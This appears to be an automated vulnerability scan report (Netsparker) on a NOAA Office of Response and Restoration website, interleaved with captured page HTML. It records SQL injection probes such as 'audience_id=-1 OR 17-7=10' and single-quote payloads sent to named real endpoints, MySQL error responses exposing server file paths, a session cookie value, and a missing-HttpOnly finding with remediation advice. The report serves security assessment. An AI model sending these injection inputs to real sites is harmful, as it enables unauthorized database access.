<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'><strong><font color='black'>Interested Public</font></strong></a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5'>Research Institutions</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6'>Other Agencies</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self"><strong><font color='black'>Document Accessibility</font></strong></a></td>
</tr>
</table> </td>
</tr>
</table>
</td>
<td align="left" valign="top" width="100%">
<table summary="for page layout only" border="0" cellspacing="0" cellpadding="8">
<tr>
<td align="left" valign="top">
<table border="0" cellspacing="0" cellpadding="3">

<!-- breadcrumb trail -->

<tr height="60">
<td width="60" height="60"><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="index.php" target="_self"><img src="art_gallery/524_NOAA-logo-no-type.jpg" alt="small noaa logo" name="_524_NOAA_logo_no_type" border="0"></a></td>
<td align="left" valign="middle" height="60"><a href="index.php" target="_self"><span class="center_titles">Home</span></a> | <a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'><span class="center_titles">Interested Public</span></a> | <a href='audience_subtopic.php?RECORD_KEY%28subtopic_audience%29=subtopic_id,audience_id&subtopic_id(subtopic_audience)=0&audience_id(subtopic_audience)=4'><span class="center_titles">any subtopic</span></a></td>
</tr>
</table>
</td>
</tr>
<tr>

<!-- this td tag contains the center panel of the page -->

<td align="left" valign="top">
<p><span class="feature_title">Coral Reef Documents and Reports</span></p>
<p>
<agl:container>

<!-- title / graphic / text block 1 -->

</agl:container>
</p>
<p><span class="feature_title"></span></p>
<p><table border="0" cellspacing="2" cellpadding="2" summary="Table for layout purposes only."><td><img src="/art_gallery/coralheads.jpg" alt="Coral heads, taken by Kip Evans."></td><td align="top">Following are documents and reports related to coral reef environments. Some are links to other Web sites, while others are documents you can download directly from our site. They address various issues regarding coral reef environments, and some are oriented toward emergency responders.</td></table></p>
<p>
<agl:container>

<!-- title / graphic / text block 2 -->

</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>

<!-- title / graphic / text block 3 -->

</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>

<!-- title / graphic / text block 4 -->

</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>

<!-- title / graphic / text block 5 -->

</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>

<!-- inline linkbox 1 -->

<table border="0" cellspacing="2" cellpadding="0">
<tr>
<td>
<span class="feature_title">Related Pages on our Site</span>
<br> </td>
</tr>
<tr>
<td>
<ul>
<li><a href='/topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=entry_id,subtopic_id,topic_id&entry_id(entry_subtopic_topic)=349&subtopic_id(entry_subtopic_topic)=8&topic_id(entry_subtopic_topic)=1' target="_self"><span class="link_title">Characteristic Coastal Habitats: Choosing Spill Response Alternatives</span></a> <span class="link_notes">This is a job aid designed for anyone who needs to decide if, where, when, and how to remove oil from coastal habitats.</span> <span class="link_info"></span>
</ul>
</td>
</tr>
</table>
</agl:container>
<agl:container>

<!-- inline linkbox 2 -->

<table border="0" cellspacing="2" cellpadding="0">
<tr>
<td>
<span class="feature_title">Links to other Web Sites</span>
<br> </td>
</tr>
<tr>
<td>
- /audience_subtopic_entry.php

/audience_subtopic_entry.php CONFIRMED

http://response.restoration.noaa.gov/audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audienc..

Parameters

Parameter Type Value
entry_id GET 748
subtopic_id GET 27
audience_id GET -1 OR 17-7=10

Request

GET /audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=-1+OR+17-7%3d10 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:55:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 4600
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<title>Coral Reefs: Spills and Other Threats | any subtopic | Emergency Responders | NOAA's National Ocean Service Office of Response and Restoration</title>
<meta name="keywords" content="oil spill response, coral, spills, ecosystem, planning, coral reefs, pollutants, fishing, developing, impacts, oil spills, global warming">
<link href="orr.main.css" rel="stylesheet" media="screen, print">
</head>

<body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5">
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%">

<!-- banner -->
<tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><img src="/art_gallery/banners/banner_open_water.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></td>
</tr>
<tr height="10">
<td class="search_bar" height="10" align="right" valign="middle">
<form action="orr_search.php" method="get" name="quick_search" target="_self">
<label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go">
</form>
</td>
</tr>
</table>
</td>
</tr> <tr height="100%">
<td align="left" valign="top" height="100%">
<table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%">
<tr height="100%">
<td align="left" valign="top" bgcolor="#ebebeb" width="162">
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr height="115">
<td align="right" valign="top" height="115">
<table width="150" border="0" cellspacing="2" cellpadding="2">

<!-- tiny icon menu -->

<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><img src='/art_gallery/tiny_icons/tiny_icon_emergency.gif' alt='Emergency Response' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><img src='/art_gallery/tiny_icons/tiny_icon_pollutant.gif' alt='Pollutants in the Environment' border="0"></a></td>
<tr>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'><img src='/art_gallery/tiny_icons/tiny_icon_communities.gif' alt='Serving Communities' border="0"></a></td>
<td><a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'><img src='/art_gallery/tiny_icons/tiny_icon_restoration.gif' alt='Natural Resource Restoration' border="0"></a></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">

<!-- target audience menu -->

<caption>
<div align="left">
<span class="sidebar_titles">Information for:</span></div>
</caption>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'><strong><font color='black'>Emergency Responders</font></strong></a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2'>Students and Teachers</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4'>Interested Public</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5'>Research Institutions</a>
</td>
</tr>
<tr>
<td>
<a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6'>Other Agencies</a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td>
</tr>
<tr>
<td>
<hr size="4" width="154">
</td>
</tr>
<tr>
<td>
<table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self"><strong><font color='black'>Document Accessibility</font></strong></a></td>
</tr>
</table> </td>
</tr>
</table>
</td>
<td align="left" valign="top" width="100%">
<table summary="for page layout only" border="0" cellspacing="0" cellpadding="8">
<tr>
<td align="left" valign="top">
<table border="0" cellspacing="0" cellpadding="3">

<!-- breadcrumb trail -->

<tr height="60">
<td width="60" height="60"><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="index.php" target="_self"><img src="art_gallery/524_NOAA-logo-no-type.jpg" alt="small noaa logo" name="_524_NOAA_logo_no_type" border="0"></a></td>
<td align="left" valign="middle" height="60"><a href="index.php" target="_self"><span class="center_titles">Home</span></a> | <a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1'><span class="center_titles">Emergency Responders</span></a> | <a href='audience_subtopic.php?RECORD_KEY%28subtopic_audience%29=subtopic_id,audience_id&subtopic_id(subtopic_audience)=0&audience_id(subtopic_audience)=1'><span class="center_titles">any subtopic</span></a></td>
</tr>
</table>
</td>
</tr>
<tr>

<!-- this td tag contains the center panel of the page -->

<td align="left" valign="top">
<p><span class="feature_title">Coral Reefs: Spills and Other Threats</span></p>
<p>
<agl:container>

<!-- title / graphic / text block 1 -->

<table width="354" height="228" border="0" cellspacing="4" cellpadding="0" align='left'>
<tr>
<td align="center" valign="middle"><img src='/art_gallery/oilgaleta.jpg' alt='Oil slicks moving onto coral reefs at Galeta at low tide; Bahia las Minas refinery spill, Panama, April, 1996.' height='224' width='350' border='1' hspace="12"></td>
</tr>
<tr>
<td align="center" valign="middle">
<agl:container>
<span class="photo_caption">Oil slicks moving onto coral reefs at Galeta at low tide; Bahia las Minas refinery spill, Panama, April, 1986. <em>Photo: John Cubit.</em></span>
</agl:container>
</td>
</tr>
</table>
</agl:container>
</p>
<p><span class="feature_title"></span></p>
<p>Coral reefs are highly productive and diverse ecosystems that are not only beautiful, but are also very valuable economically and environmentally. Today, many coral reefs are suffering degradation from a variety of causes, including climate change, pollutants, overfishing, development, and physical disturbances. Coral habitats are also vulnerable to impacts from oil spills.
<P>Because these systems are fragile, we are especially careful to respond appropriately to spills or potential spills in these areas. By understanding how our actions can affect coral reef ecosystems, we can do a better job of protecting them from further harm.</p>
<p>
<agl:container>

<!-- title / graphic / text block 2 -->

</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>

<!-- title / graphic / text block 3 -->

</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>

<!-- title / graphic / text block 4 -->

</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>

<!-- title / graphic / text block 5 -->

</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>
</agl:container>
</p>
<p>
<agl:container>

<!-- inline linkbox 1 -->

<table border="0" cellspacing="2" cellpadding="0">
<tr>
<td>
<span class="feature_title">For More Information</span>
<br> </td>
</tr>
<tr>
<td>
<ul>
<li><a href='/topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=entry_id,subtopic_id,topic_id&entry_id(entry_subtopic_topic)=5&subtopic_id(entry_subtopic_topic)=8&topic_id(entry_subtopic_topic)=1' target=..
[High Possibility] SQL Injection

[High Possibility] SQL Injection

3 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /topic_catalog.php

/topic_catalog.php

http://response.restoration.noaa.gov/topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_..

Parameters

Parameter Type Value
RECORD_KEY%28topics_chosen%29 GET topic_id
topic_id(topics_chosen) GET %27

Request

GET /topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=%2527 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:48:14 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 366
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="2" Description="Error: &quot;mysql_fetch_array(): supplied argument is not a valid MySQL result resource&quot; on line 192 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/topic_catalog.php."/>
- /resource_resourcetopic.php

/resource_resourcetopic.php

http://response.restoration.noaa.gov/resource_resourcetopic.php?RECORD_KEY%28resourcetopics%29=resou..

Parameters

Parameter Type Value
RECORD_KEY%28resourcetopics%29 GET resourcetopic_id
resourcetopic_id(resourcetopics) GET %27

Request

GET /resource_resourcetopic.php?RECORD_KEY%28resourcetopics%29=resourcetopic_id&resourcetopic_id(resourcetopics)=%2527 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:48:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 360
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="2" Description="Error: &quot;mysql_fetch_array(): supplied argument is not a valid MySQL result resource&quot; on line 44 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/resource_resourcetopic.php."/>
- /audience_catalog.php

/audience_catalog.php

http://response.restoration.noaa.gov/audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_i..

Parameters

Parameter Type Value
RECORD_KEY%28audience_chosen%29 GET audience_id
audience_id(audience_chosen) GET %27

Request

GET /audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=%2527 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:48:21 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 368
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="2" Description="Error: &quot;mysql_fetch_array(): supplied argument is not a valid MySQL result resource&quot; on line 153 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_catalog.php."/>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /dwh.php

/dwh.php CONFIRMED

http://response.restoration.noaa.gov/dwh.php?entry_id=812

Identified Cookie

PHPSESSID

Request

GET /dwh.php?entry_id=812 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Set-Cookie: PHPSESSID=519f6f3181b8c1eb7a34056beb0b2e04; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8646
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Publications, Factsheets and One-Pagers | Recent and Historical Incidents | Emergency Response | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="robots" content="noindex,nofollow,noarchive"> <meta name="keywords" content="Deepwater Horizon oil rig fire, Deepwater Horizon oil well fire, MODU, Mississippi Canyon 252, Louisiana, Mississippi"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_emergency.jpg' alt='Emergency Response'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><strong><font color='black'>Emergency Response</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'>Pollutants in the Environment</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a 